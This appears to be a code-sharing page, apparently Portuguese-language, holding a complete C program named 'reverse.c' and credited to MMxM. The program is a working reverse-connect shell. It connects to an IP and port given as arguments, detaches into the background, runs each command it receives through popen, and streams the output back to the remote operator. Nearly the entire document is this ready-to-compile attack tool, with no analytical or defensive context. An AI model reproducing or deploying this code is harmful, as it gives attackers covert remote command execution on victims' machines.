Início
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- Código:
/*
* reverse.c
*
* Copyright 2013 MMxM <@!-!@>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int error(char *err){
perror(err);
exit(EXIT_FAILURE);
}
int help(char *name){
printf("\n[+] R3v3r53 c0nn3c7 5h3ll 8y MMxM\n");
printf("[*] How to use: %s <ip> <port>\n\n",name);
exit(EXIT_SUCCESS);
}
int background(void){
pid_t pid;
pid = fork();
if(pid){
exit(0);
}
}
int main(int argc,char *argv[]){
if(argc != 3) help(argv[0]);
int msocket,recebidos,caracter;
char ip[16];
strncpy(ip,argv[1],15);
int port = atoi(argv[2]);
char resposta[101];
char mensagem[2];
struct sockaddr_in addr;
FILE *command;
msocket = socket(AF_INET,SOCK_STREAM,0);
if(msocket < 0){
error("Fail to make socket\n");
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
error("Fail to connect\n");
}
background();
printf("[+] Running in background\n");
send(msocket,"[+] Connect\n[*] Coded by MMxM\n\n",31,0);
while(recebidos = recv(msocket,resposta,100,0)){
resposta[recebidos] = '\0';
if(recebidos){
command = popen(resposta,"r");
while(caracter = fgetc(command)){
if(caracter == EOF) break;
sprintf(mensagem,"%c",caracter);
send(msocket,mensagem,1,0);
}
pclose(command);
}
memset(&resposta,0,sizeof(resposta));
memset(&mensagem,0,sizeof(mensagem));
memset(&recebidos,0,sizeof(recebidos));
memset(&caracter,0,sizeof(caracter));
}
close(msocket);
exit(EXIT_SUCCESS);
}
